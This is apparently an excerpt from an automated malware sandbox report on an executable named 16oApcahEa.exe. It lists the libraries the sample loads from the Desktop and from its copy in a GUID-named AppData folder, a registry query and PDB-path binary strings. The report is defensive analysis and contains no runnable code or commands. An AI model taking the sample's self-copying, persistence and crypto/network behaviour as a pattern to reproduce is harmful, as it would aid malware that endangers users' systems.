Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\16oApcahEa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 16oApcahEa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2391853654.0000000003175000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ows\ source: 16oApcahEa.exe, 00000006.00000003.2608529242.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\lized\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599440406.0000000003281000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598684852.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574803316.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\o source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656675082.0000000003697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\*a\H source: 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\Ws source: 16oApcahEa.exe, 00000006.00000003.2628279440.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573681960.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656675082.0000000003697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2598494507.0000000003211000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\rup\gufeyeruci\noxijij\fohopejupa\wotuka\rib-padajedisurepi\g.pdb source: 16oApcahEa.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2598457927.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608529242.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\kZT source: 16oApcahEa.exe, 00000006.00000003.2599440406.0000000003281000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598684852.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\[ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2671874339.00000000036BF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2671409961.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676819721.00000000035D4000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670397971.00000000032CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\x source: 16oApcahEa.exe, 00000006.00000003.2607706297.000000000311E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\kEU source: 16oApcahEa.exe, 00000006.00000003.2672090250.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672430411.0000000003281000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\k6 source: 16oApcahEa.exe, 00000006.00000003.2657764884.0000000003120000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2657670285.0000000003118000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2657380503.0000000003111000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: 16oApcahEa.exe, 00000006.00000003.2607469124.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628279440.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\+ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598366397.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574803316.0000000003286000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp
